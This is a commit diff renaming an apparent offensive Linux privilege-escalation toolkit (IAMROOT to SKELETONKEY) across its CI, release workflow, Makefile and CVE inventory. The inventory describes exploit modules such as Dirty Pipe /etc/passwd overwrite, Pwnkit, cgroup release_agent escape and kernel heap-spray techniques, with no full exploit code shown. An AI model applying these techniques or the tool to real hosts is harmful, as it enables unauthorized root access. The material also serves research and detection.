rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+9 -9
View File
@@ -37,22 +37,22 @@ jobs:
make make
fi fi
- name: sanity — iamroot --version - name: sanity — skeletonkey --version
run: ./iamroot --version run: ./skeletonkey --version
- name: sanity — iamroot --list - name: sanity — skeletonkey --list
run: ./iamroot --list run: ./skeletonkey --list
- name: sanity — iamroot --scan (no exploit; just detect) - name: sanity — skeletonkey --scan (no exploit; just detect)
run: ./iamroot --scan --no-color || true run: ./skeletonkey --scan --no-color || true
# exit code may be nonzero (vulnerable host = exit 2, missing # exit code may be nonzero (vulnerable host = exit 2, missing
# precond = exit 4) — that's diagnostic data, not CI failure # precond = exit 4) — that's diagnostic data, not CI failure
- name: sanity — --detect-rules auditd - name: sanity — --detect-rules auditd
run: ./iamroot --detect-rules --format=auditd | head -50 run: ./skeletonkey --detect-rules --format=auditd | head -50
- name: sanity — --detect-rules sigma - name: sanity — --detect-rules sigma
run: ./iamroot --detect-rules --format=sigma | head -50 run: ./skeletonkey --detect-rules --format=sigma | head -50
# Static build job: ensures the project links cleanly when -static is # Static build job: ensures the project links cleanly when -static is
# requested. Useful for deployment to minimal containers / fleet scans # requested. Useful for deployment to minimal containers / fleet scans
@@ -75,7 +75,7 @@ jobs:
# gate the merge on it. Migrate to musl-gcc when we want a # gate the merge on it. Migrate to musl-gcc when we want a
# truly portable static binary. # truly portable static binary.
continue-on-error: true continue-on-error: true
run: make static && ls -la iamroot run: make static && ls -la skeletonkey
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs # Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
# the binary against a VM running a specific (vulnerable or patched) # the binary against a VM running a specific (vulnerable or patched)
+18 -18
View File
@@ -7,7 +7,7 @@ name: release
# Maintainer flow: # Maintainer flow:
# git tag v0.1.0 # git tag v0.1.0
# git push origin v0.1.0 # git push origin v0.1.0
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64 # → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
on: on:
push: push:
@@ -44,20 +44,20 @@ jobs:
CC: ${{ matrix.cc }} CC: ${{ matrix.cc }}
run: | run: |
make make
file iamroot file skeletonkey
ls -la iamroot ls -la skeletonkey
- name: rename + checksum - name: rename + checksum
run: | run: |
mv iamroot iamroot-${{ matrix.target }} mv skeletonkey skeletonkey-${{ matrix.target }}
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256 sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
name: iamroot-${{ matrix.target }} name: skeletonkey-${{ matrix.target }}
path: | path: |
iamroot-${{ matrix.target }} skeletonkey-${{ matrix.target }}
iamroot-${{ matrix.target }}.sha256 skeletonkey-${{ matrix.target }}.sha256
release: release:
needs: build needs: build
@@ -72,7 +72,7 @@ jobs:
- name: flatten artifacts - name: flatten artifacts
run: | run: |
find dist -type f -exec mv {} . \; find dist -type f -exec mv {} . \;
ls -la iamroot-* ls -la skeletonkey-*
- name: collect release notes - name: collect release notes
id: notes id: notes
@@ -81,16 +81,16 @@ jobs:
echo "tag=$tag" >> "$GITHUB_OUTPUT" echo "tag=$tag" >> "$GITHUB_OUTPUT"
# Pull the latest entry from CVES.md / ROADMAP.md for the body # Pull the latest entry from CVES.md / ROADMAP.md for the body
{ {
echo "## IAMROOT $tag" echo "## SKELETONKEY $tag"
echo echo
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside." echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
echo echo
echo "### Install" echo "### Install"
echo echo
echo '```bash' echo '```bash'
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)" echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot" echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
echo "iamroot --version" echo "skeletonkey --version"
echo '```' echo '```'
echo echo
echo "Or one-shot via the install script:" echo "Or one-shot via the install script:"
@@ -109,12 +109,12 @@ jobs:
uses: softprops/action-gh-release@v2 uses: softprops/action-gh-release@v2
with: with:
tag_name: ${{ steps.notes.outputs.tag }} tag_name: ${{ steps.notes.outputs.tag }}
name: IAMROOT ${{ steps.notes.outputs.tag }} name: SKELETONKEY ${{ steps.notes.outputs.tag }}
body_path: release-notes.md body_path: release-notes.md
files: | files: |
iamroot-x86_64 skeletonkey-x86_64
iamroot-x86_64.sha256 skeletonkey-x86_64.sha256
iamroot-arm64 skeletonkey-arm64
iamroot-arm64.sha256 skeletonkey-arm64.sha256
install.sh install.sh
fail_on_unmatched_files: false # install.sh may not exist at first tag fail_on_unmatched_files: false # install.sh may not exist at first tag
+1 -1
View File
@@ -5,7 +5,7 @@ build/
*.dSYM/ *.dSYM/
modules/*/build/ modules/*/build/
modules/*/dirtyfail modules/*/dirtyfail
modules/*/iamroot modules/*/skeletonkey
.vscode/ .vscode/
.idea/ .idea/
*.swp *.swp
+8 -8
View File
@@ -1,6 +1,6 @@
# CVE inventory # CVE inventory
The curated list of CVEs IAMROOT exploits, with patch status and The curated list of CVEs SKELETONKEY exploits, with patch status and
module status. Updated as new modules land or as upstream patches module status. Updated as new modules land or as upstream patches
ship. ship.
@@ -26,13 +26,13 @@ Status legend:
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0 **Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
Every module ships a `NOTICE.md` crediting the original CVE Every module ships a `NOTICE.md` crediting the original CVE
reporter and PoC author. `iamroot --dump-offsets` populates the reporter and PoC author. `skeletonkey --dump-offsets` populates the
embedded offset table for new kernel builds — operators with embedded offset table for new kernel builds — operators with
root on a host can upstream their kernel's offsets via PR. root on a host can upstream their kernel's offsets via PR.
## Inventory ## Inventory
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes | | CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|---|---|---|---|---|---|---| |---|---|---|---|---|---|---|
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. | | CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan | | CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
@@ -40,9 +40,9 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | | | CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix | | (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. | | CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. | | CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. | | CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. | | CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. | | CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). | | CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. | | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
@@ -51,10 +51,10 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. | | CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. | | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. | | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. | | CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. | | CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. | | CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. | | CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. | | CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. | | CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. | | CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
@@ -113,7 +113,7 @@ the relevant distro drops out of the "WORKING" list for that module.
## Why we exclude some things ## Why we exclude some things
- **0-days the maintainer found themselves**: those go through - **0-days the maintainer found themselves**: those go through
responsible disclosure first, then enter IAMROOT after upstream patch responsible disclosure first, then enter SKELETONKEY after upstream patch
- **kCTF VRP submissions in flight**: same as above; disclosure - **kCTF VRP submissions in flight**: same as above; disclosure
before bundling before bundling
- **Hardware-specific side channels** (Spectre/Meltdown variants): - **Hardware-specific side channels** (Spectre/Meltdown variants):
+29 -29
View File
@@ -1,15 +1,15 @@
# IAMROOT — top-level Makefile (Phase 1) # SKELETONKEY — top-level Makefile (Phase 1)
# #
# Builds one binary `iamroot` linked from: # Builds one binary `skeletonkey` linked from:
# - core/ module interface + registry # - core/ module interface + registry
# - modules/<f>/ one family per subdir, contributes objects to the # - modules/<f>/ one family per subdir, contributes objects to the
# final binary # final binary
# - iamroot.c top-level dispatcher # - skeletonkey.c top-level dispatcher
# #
# Each family is currently flat (Phase 1 keeps copy_fail_family's # Each family is currently flat (Phase 1 keeps copy_fail_family's
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/). # absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
# Future families register the same way: add their register_* call to # Future families register the same way: add their register_* call to
# iamroot.c's main() and add their src dir to MODULE_DIRS below. # skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
CC ?= gcc CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
@@ -17,117 +17,117 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
LDFLAGS ?= LDFLAGS ?=
BUILD := build BUILD := build
BIN := iamroot BIN := skeletonkey
# core/ # core/
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS)) CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
# Family: copy_fail_family # Family: copy_fail_family
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge. # All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
CFF_DIR := modules/copy_fail_family CFF_DIR := modules/copy_fail_family
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main). # Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS)) CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS)) CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
# Family: dirty_pipe (single-CVE family, no shared infrastructure) # Family: dirty_pipe (single-CVE family, no shared infrastructure)
